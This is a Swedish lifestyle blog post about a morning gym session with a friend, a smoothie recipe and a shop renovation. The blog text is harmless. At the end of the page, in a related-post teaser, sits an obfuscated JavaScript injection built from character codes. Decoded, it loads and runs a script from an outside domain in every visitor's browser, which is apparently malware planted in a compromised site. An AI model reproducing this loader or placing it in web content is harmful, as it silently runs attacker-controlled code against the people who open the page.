Morgon träning, smoothie, Wellness, bygg kaos!

image

Godmorgon!

Nu har jag kört mitt första pass på nya gymmet i Förjestaden 🙂

– sååå fräscht! 

image

Min träningspartner och sister in crime är Sara Setthsson

Sara har inte tränat på ca ett år…. Efter en stund när jag hör henne återupprepa

”Åhhh Lord” ”Herre gud”

Så säger jag lite spydigt- Sara, jag visste inte att du var troende? 😉

Hon svarar snabbt, -Jag visste inte att du var sadist! hahahaha! Då har vi lärt känna vandra lite bättre 😉 Jag körde minst lika hårt med henne so med mig själv… Det är så otroligt mycket roligare att tära med någon! Efter workout på Wellnes gick vi över gatan till Hotel Skansen, köpte en special fruost och pustade ut…

image

Frukost, två kokta ägg, en svart kaffe och en smoothie.

Recept på smoothie, kokos mjölk, jordgubbar och mynta.

-Gott, enkelt och nyttigt! 

IMG_7648

Nu väntar en intensiv dag i butiken… Jag har fullkomligt vänt upp och ner på butiken! -Det är kaos!

Vi möblerar om, ska renovera vissa delar och ge butiken det där lilla extra ”ansiktslyfet” som behövs! Kakelcenter jobbar hårt för att färdigställa sin nya lokal.

FullSizeRender 48 FullSizeRender 47 FullSizeRender 46

Jag stod i valet och kvalet om jag skulle stänga butiken tillfälligt i några dagar… men nej, istället har vi ställt en trottoar pratar utanför dörren med texten ”ursäkta röran, vi bygger om”

Vi hörs senare… Kramar /My Martens

4 Komentarer

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/